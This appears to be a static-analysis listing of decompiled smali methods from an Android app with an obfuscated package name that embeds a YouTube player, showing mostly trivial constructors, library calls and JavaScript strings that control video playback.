5return-void
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->a(Landroid/support/v7/widget/RecyclerView;)V
5return-void
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->b(Landroid/support/v7/widget/RecyclerView;)V
5return-void
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->b(Z)V
5return-void
APIs
  • com.mikepenz.a.b.c
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->c(Landroid/support/v7/widget/RecyclerView$u;)V
5return-void
APIs
  • com.mikepenz.a.b.d
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
4invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->d(Landroid/support/v7/widget/RecyclerView$u;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
2iput-object p2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->a:Ldevlight/io/library/ntb/NavigationTabBar;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
2iput-object p2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->a:Ldevlight/io/library/ntb/NavigationTabBar;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
2iput-object p2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;->a:Ldevlight/io/library/ntb/NavigationTabBar;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • android.support.v4.view.b.c.<init>
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/support/v4/view/b/c;
3invoke-direct {v0}, Landroid/support/v4/view/b/c;-><init>()V
4sput-object v0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a:Landroid/view/animation/Interpolator;
5return-void
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
Position Instruction Meta Information
0.prologue
1check-cast p2, Ldevlight/io/library/ntb/NavigationTabBar;
3invoke-virtual {p0, p1, p2, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Landroid/support/design/widget/CoordinatorLayout;Ldevlight/io/library/ntb/NavigationTabBar;I)Z
4move-result v0
5return v0
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
Position Instruction Meta Information
0.prologue
1check-cast p2, Ldevlight/io/library/ntb/NavigationTabBar;
3invoke-virtual {p0, p1, p2, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Landroid/support/design/widget/CoordinatorLayout;Ldevlight/io/library/ntb/NavigationTabBar;Landroid/view/View;)Z
4move-result v0
5return v0
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
Position Instruction Meta Information
0.prologue
1check-cast p2, Ldevlight/io/library/ntb/NavigationTabBar;
3invoke-virtual {p0, p1, p2, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Landroid/support/design/widget/CoordinatorLayout;Ldevlight/io/library/ntb/NavigationTabBar;Landroid/view/View;)Z
4move-result v0
5return v0
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$2;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
3invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
4return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3iput-object p1, p0, Lcom/pedqaesf/app/AsyncTask/a;->a:Ljava/lang/String;
4return-void
APIs
  • com.pedqaesf.app.AsyncTask.a.a
Position Instruction Meta Information
0.prologue
1check-cast p1, Landroid/graphics/Bitmap;
3invoke-virtual {p0, p1}, Lcom/pedqaesf/app/AsyncTask/a;->a(Landroid/graphics/Bitmap;)V
4return-void
APIs
  • com.pedqaesf.app.AsyncTask.b.a
Position Instruction Meta Information
0.prologue
1check-cast p1, Ljava/lang/String;
3invoke-virtual {p0, p1}, Lcom/pedqaesf/app/AsyncTask/b;->a(Ljava/lang/String;)V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$1;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$10;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$11;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$12;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$2;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.support.v4.widget.g.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$3$1;->j:Lcom/pedqaesf/app/INSMainActivity$3;
3invoke-direct {p0, p2, p3, p4}, Landroid/support/v4/widget/g;-><init>(Landroid/content/Context;Landroid/database/Cursor;Z)V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$3;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$4;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$5$1;->a:Lcom/pedqaesf/app/INSMainActivity$5;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$5;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$6;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$7$1;->a:Lcom/pedqaesf/app/INSMainActivity$7;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$7;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$8;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSMainActivity$9;->a:Lcom/pedqaesf/app/INSMainActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/INSSettingsActivity$1;->a:Lcom/pedqaesf/app/INSSettingsActivity;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$1;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$3;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/pedqaesf/app/player/b$1;->a:I
3invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(I)V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3iput-object p1, p0, Lcom/pedqaesf/app/player/b;->a:Landroid/content/Context;
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/pedqaesf/app/player/c$1;->a:Lcom/pedqaesf/app/player/c;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
APIs
  • com.pedqaesf.app.views.INSCircularImageView.<init>
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0, p1, p2, v0}, Lcom/pedqaesf/app/views/INSCircularImageView;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
  • Data flow analysis:
    • p2: 0
4return-void
APIs
  • android.app.Application.onCreate
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Application;->onCreate()V
3sput-object p0, Lcom/pedqaesf/app/volley/NCAppController;->c:Lcom/pedqaesf/app/volley/NCAppController;
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/b$b;->a:Lcom/mikepenz/a/b;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/b$e;->a:Lcom/mikepenz/a/b;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-virtual {p0, p1, p2, v0}, Lcom/mikepenz/a/b;->a(IZZ)V
  • Data flow analysis:
    • p2: 0
4return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$u.e
Position Instruction Meta Information
0.prologue
2invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$u;->e()I
3move-result v0
4return v0
Cross References
APIs
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-virtual {p0, p1, p2, v0}, Lcom/mikepenz/a/b;->b(IILjava/lang/Object;)V
  • Data flow analysis:
    • p2: 0
4return-void
Cross References
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
3invoke-direct {p0, p1, v0}, Lcom/mikepenz/a/b;->a(ILjava/util/Iterator;)V
  • Data flow analysis:
    • p1: 0
4return-void
Cross References
APIs
  • android.widget.Filter.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
3invoke-direct {p0}, Landroid/widget/Filter;-><init>()V
4return-void
APIs
  • com.mikepenz.a.a.c.b
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1, p2}, Lcom/mikepenz/a/a/c;->b(ILjava/util/List;)Lcom/mikepenz/a/a/c;
3move-result-object v0
4return-object v0
APIs
  • com.mikepenz.a.a.c.b
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/mikepenz/a/a/c;->b(Ljava/util/List;)Lcom/mikepenz/a/a/c;
3move-result-object v0
4return-object v0
APIs
  • com.mikepenz.a.a.c.d
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1, p2}, Lcom/mikepenz/a/a/c;->d(II)Lcom/mikepenz/a/a/c;
3move-result-object v0
4return-object v0
APIs
  • com.mikepenz.materialdrawer.b.a$a.valueOf
Position Instruction Meta Information
0.prologue
2invoke-static {p1}, Lcom/mikepenz/materialdrawer/b/a$a;->valueOf(Ljava/lang/String;)Lcom/mikepenz/materialdrawer/b/a$a;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3iput-object p1, p0, Lcom/mikepenz/materialdrawer/d/b/a;->a:Lcom/mikepenz/materialdrawer/a/a;
4return-void
Cross References
APIs
  • devlight.io.library.behavior.a.a
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Ldevlight/io/library/behavior/a;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;I)Z
3move-result v0
4return v0
Cross References
APIs
  • devlight.io.library.behavior.a.c
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Ldevlight/io/library/behavior/a;->c(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;)Z
3move-result v0
4return v0
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
Position Instruction Meta Information
0.prologue
1check-cast p2, Ldevlight/io/library/ntb/NavigationTabBar;
3invoke-virtual {p0, p1, p2, p3}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Landroid/support/design/widget/CoordinatorLayout;Ldevlight/io/library/ntb/NavigationTabBar;Landroid/view/View;)V
4return-void
APIs
  • android.app.admin.DeviceAdminReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
3return-void
APIs
  • android.app.admin.DeviceAdminReceiver.onEnabled
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
3return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.onPostExecute
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
3return-void
Cross References
APIs
  • android.os.AsyncTask.onPostExecute
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/os/AsyncTask;->onPostExecute(Ljava/lang/Object;)V
3return-void
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • android.support.v7.app.AppCompatActivity.onActivityResult
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Landroid/support/v7/app/AppCompatActivity;->onActivityResult(IILandroid/content/Intent;)V
3return-void
APIs
  • android.support.v7.app.AppCompatActivity.onConfigurationChanged
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onConfigurationChanged(Landroid/content/res/Configuration;)V
3return-void
APIs
  • android.support.v7.app.AppCompatActivity.onStop
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/support/v7/app/AppCompatActivity;->onStop()V
3return-void
APIs
  • android.support.v7.app.AppCompatActivity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v7/app/AppCompatActivity;-><init>()V
3return-void
APIs
  • android.support.v7.app.AppCompatActivity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v7/app/AppCompatActivity;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
Strings
  • javascript:player.playVideo();
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.playVideo();"
3return-object v0
Strings
  • javascript:player.pauseVideo();
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.pauseVideo();"
3return-object v0
Strings
  • javascript:player.addEventListener(\"onStateChange\", \"onPlayerStateChange\");function onPlayerStateChange(event) {\n window.Interface.showPlayerState(player.getPlayerState());\n }
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.addEventListener(\"onStateChange\", \"onPlayerStateChange\");function onPlayerStateChange(event) {\n window.Interface.showPlayerState(player.getPlayerState());\n }"
3return-object v0
Strings
  • javascript:player.nextVideo()
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.nextVideo()"
3return-object v0
Strings
  • javascript:player.previousVideo()
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.previousVideo()"
3return-object v0
Strings
  • javascript:window.Interface.showVID(player.getVideoData()[\'video_id\']);
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:window.Interface.showVID(player.getVideoData()[\'video_id\']);"
3return-object v0
Strings
  • javascript:player.seekTo(0)
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.seekTo(0)"
3return-object v0
Strings
  • javascript:player.setLoop(true)
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.setLoop(true)"
3return-object v0
Strings
  • javascript:player.setLoop(false)
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.setLoop(false)"
3return-object v0
Strings
  • javascript:player.playVideoAt(0)
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:player.playVideoAt(0)"
3return-object v0
Strings
  • javascript:window.Interface.playlistItems(player.getPlaylist());window.Interface.currVidIndex(player.getPlaylistIndex());
Position Instruction Meta Information
0.prologue
2const-string v0, "javascript:window.Interface.playlistItems(player.getPlaylist());window.Interface.currVidIndex(player.getPlaylistIndex());"
3return-object v0
APIs
  • com.pedqaesf.app.player.INSYouTubePlayerService.d
Position Instruction Meta Information
0.prologue
2invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->d()V
3return-void
APIs
  • android.support.v4.widget.SwipeRefreshLayout.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p1}, Landroid/support/v4/widget/SwipeRefreshLayout;-><init>(Landroid/content/Context;)V
3return-void
APIs
  • android.app.Application.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Application;-><init>()V
3return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$a.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/support/v7/widget/RecyclerView$a;-><init>()V
3return-void
Cross References
APIs
  • com.mikepenz.a.a.c.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/mikepenz/a/a/c;-><init>()V
3return-void
Cross References
APIs
  • com.mikepenz.a.a.c.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/mikepenz/a/a/c;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Strings
  • mdf
Position Instruction Meta Information
0.prologue
2const-string v0, "mdf"
3return-object v0
Cross References
APIs
  • devlight.io.library.behavior.a.d
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3}, Ldevlight/io/library/behavior/a;->d(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;)V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void